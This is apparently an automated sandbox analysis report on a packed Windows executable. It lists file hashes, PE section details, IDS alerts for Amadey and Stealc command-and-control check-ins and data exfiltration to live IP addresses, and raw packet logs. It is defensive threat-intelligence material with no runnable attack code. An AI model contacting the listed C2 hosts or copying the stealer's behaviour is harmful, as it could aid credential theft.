Preview:	....Dn.F+.D.:.L..H.F.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.0.d.8.f.5.e.b.8.a.7.\.e.x.p.l.o.r.t.i...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................&.@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465522440033955
Encrypted:	false
SSDEEP:	6144:fIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNudwBCswSbd:QXD94+WlLZMM6YFH0+d
MD5:	E35DDB2AD29E9798BB58693CED94FB20
SHA1:	185347E63B3CC33803E627FFB97CA3FB2840A899
SHA-256:	AC3CCC5277CEAACCFE4A51F77171DD61D6D5B8D7002955B357BA563A4BEDD438
SHA-512:	27582C21958CC318A348EB5FB4ABCAE8F7269E9FFE9A74BCA96BF669A1623E8704621178C5515018F421D8E2E29CBC79A384DA31AA74E155F832C1CF9A085FBB
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm25..................................................................................................................................................................................................................................................................................................................................................Bp..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949561809561003
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	8NjcvPNvUr.exe
File size:	1'955'840 bytes
MD5:	e04afeeb6bb46b372bc1d7c2e2f25ead
SHA1:	684d7f3cf0f8f94b1a58b39a97fd2f8f37f4a380
SHA256:	71db154390c24f07114784bf363d39dac8f1699c517064327724f83ca4acdfb9
SHA512:	96892cf42b70716a104841f707f263c2aa03a2d7e948b469f1200ddc1abd37ed3e489cb27731c646bd0787c18980cd947328a3c0cfa1432b9cd23435b5cb7689
SSDEEP:	49152:aWzMb/x6nIJ70S13/CgE1/wfjajqg60t3PwB/c2DG7QXc6cnS2:koW136RJ/O+RPwhvDGsXuS
TLSH:	6C95336489F3F333D49E1F7F815EC9A987E77252C850CB1664758FEAF0236260998E81
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8d4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A24110 [Thu Jul 25 12:12:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD1806DE3DAh
movzx ebx, byte ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4d2d7c	0x10	lybfcffv
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4d2d2c	0x18	lybfcffv
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2dc00	43298d3b010f799c04b02ac4a2cb8475	False	0.9999252903005464	data	7.987936779363103	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	8613af2b493de499959f171d3750f678	False	0.576171875	data	4.463518706650213	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2bc000	0x200	891d13bb17247956f45b3898411a6381	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lybfcffv	0x327000	0x1ac000	0x1ac000	44717221ffdc8c6c3ca63b50abfea6fb	False	0.9945889767085281	data	7.954168133889622	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
emchirzz	0x4d3000	0x1000	0x400	4a3664cacdbdb0d3df9d3ea4f0bd18b2	False	0.7236328125	data	5.755124432882544	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4d4000	0x3000	0x2200	ac3475003148f4de80c008fb62b056bd	False	0.02975643382352941	DOS executable (COM)	0.2640598339909645	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4d2d8c	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-27T05:39:17.432400+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49477	80	192.168.2.4	85.28.47.31
2024-07-27T05:39:17.616315+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49477	85.28.47.31	192.168.2.4
2024-07-27T05:39:10.939424+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49477	85.28.47.31	192.168.2.4
2024-07-27T05:39:25.560307+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49489	80	192.168.2.4	185.215.113.16
2024-07-27T05:39:11.332430+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49478	80	192.168.2.4	185.215.113.19
2024-07-27T05:39:10.312010+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	49477	80	192.168.2.4	85.28.47.31
2024-07-27T05:39:10.939070+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49477	85.28.47.31	192.168.2.4
2024-07-27T05:39:08.818450+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	49477	80	192.168.2.4	85.28.47.31
2024-07-27T05:39:17.797520+0200	TCP	2002725	ET ACTIVEX COM Object Instantiation Memory Corruption Vulnerability MS05-054	80	49477	85.28.47.31	192.168.2.4
2024-07-27T05:38:45.949910+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49472	13.85.23.86	192.168.2.4
2024-07-27T05:39:06.367038+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49475	80	192.168.2.4	185.215.113.19
2024-07-27T05:39:16.455751+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49477	80	192.168.2.4	85.28.47.31
2024-07-27T05:39:07.135282+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49476	80	192.168.2.4	185.215.113.16
2024-07-27T05:39:09.009689+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	49477	80	192.168.2.4	85.28.47.31
2024-07-27T05:39:03.178772+0200	TCP	2856147	ETPRO MALWARE Amadey CnC Activity M3	49473	80	192.168.2.4	185.215.113.19
2024-07-27T05:39:08.825378+0200	TCP	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	80	49477	85.28.47.31	192.168.2.4
2024-07-27T05:39:11.030318+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49477	85.28.47.31	192.168.2.4
2024-07-27T05:39:23.251603+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49489	80	192.168.2.4	185.215.113.16
2024-07-27T05:39:08.628036+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49477	80	192.168.2.4	85.28.47.31
2024-07-27T05:39:20.625632+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49477	80	192.168.2.4	85.28.47.31
2024-07-27T05:39:10.930935+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49477	85.28.47.31	192.168.2.4
2024-07-27T05:39:11.491406+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49477	85.28.47.31	192.168.2.4
2024-07-27T05:39:31.133075+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49498	80	192.168.2.4	85.28.47.31
2024-07-27T05:39:19.822572+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49477	85.28.47.31	192.168.2.4
2024-07-27T05:39:11.292505+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49477	85.28.47.31	192.168.2.4
2024-07-27T05:39:10.848747+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49477	85.28.47.31	192.168.2.4
2024-07-27T05:39:18.537981+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49477	80	192.168.2.4	85.28.47.31
2024-07-27T05:39:04.669449+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49474	185.215.113.16	192.168.2.4
2024-07-27T05:39:05.582986+0200	TCP	2856122	ETPRO MALWARE Amadey CnC Response M1	80	49473	185.215.113.19	192.168.2.4
2024-07-27T05:39:18.311879+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49477	85.28.47.31	192.168.2.4
2024-07-27T05:39:20.200811+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49477	80	192.168.2.4	85.28.47.31
2024-07-27T05:39:04.231159+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49474	80	192.168.2.4	185.215.113.16
2024-07-27T05:39:17.797435+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49477	85.28.47.31	192.168.2.4
2024-07-27T05:39:47.089256+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49534	80	192.168.2.4	85.28.47.31
2024-07-27T05:39:18.025871+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49477	80	192.168.2.4	85.28.47.31
2024-07-27T05:39:09.016327+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	80	49477	85.28.47.31	192.168.2.4
2024-07-27T05:39:10.765111+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49477	80	192.168.2.4	85.28.47.31
2024-07-27T05:38:16.691599+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49730	13.85.23.86	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 27, 2024 05:39:02.416337967 CEST	49473	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:02.421638012 CEST	80	49473	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:02.421915054 CEST	49473	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:02.422214985 CEST	49473	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:02.427305937 CEST	80	49473	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:03.177341938 CEST	80	49473	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:03.178771973 CEST	49473	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:03.181114912 CEST	49473	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:03.187145948 CEST	80	49473	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:03.431814909 CEST	80	49473	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:03.434926987 CEST	49473	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:03.440890074 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:03.449508905 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:03.452908993 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:03.453145981 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:03.458009005 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.230803967 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.230860949 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.230894089 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.230927944 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.230958939 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.230989933 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.231023073 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.231055021 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.231085062 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.231137991 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.231158972 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.231159925 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.231159925 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.231159925 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.231318951 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.237986088 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.238071918 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.238512993 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.238655090 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.369703054 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.369765997 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.369800091 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.369951963 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.369951963 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.376099110 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.376131058 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.376163960 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.376202106 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.376234055 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.376316071 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.376317024 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.376317024 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.376636028 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.380937099 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.380970001 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.381011009 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.381025076 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.381056070 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.381177902 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.381177902 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.381179094 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.385929108 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.386008978 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.386039019 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.386058092 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.386086941 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.386117935 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.386239052 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.386239052 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.386239052 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.386240005 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.390726089 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.390773058 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.390799999 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.390829086 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.390858889 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.390889883 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.390999079 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.390999079 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.390999079 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.390999079 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.462496996 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.462547064 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.462584019 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.462727070 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.462727070 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.525157928 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.525196075 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.525232077 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.525402069 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.525403023 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.525443077 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.525475025 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.525506973 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.525595903 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.525595903 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.525595903 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.526051998 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.526084900 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.526118040 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.526207924 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.526207924 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.526207924 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.526814938 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.526846886 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.526878119 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.526900053 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.526923895 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.526972055 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.527601004 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.527632952 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.527657032 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.527677059 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.527707100 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.527755976 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.528363943 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.528415918 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.528431892 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.528464079 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.528501987 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.528525114 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.529495001 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.529526949 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.529556036 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.529575109 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.529601097 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.529659033 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.529797077 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.529829025 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.529851913 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.529885054 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.529900074 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.529961109 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.530527115 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.530559063 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.530585051 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.530603886 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.530632019 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.530692101 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.531312943 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.531343937 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.531363964 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.531404018 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.531416893 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.531462908 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.532064915 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.532095909 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.532119989 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.532152891 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.532167912 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.532217979 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.532839060 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.532871008 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.532890081 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.532928944 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.532943010 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.532985926 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.533507109 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.533556938 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.533576965 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.533608913 CEST	80	49474	185.215.113.16	192.168.2.4
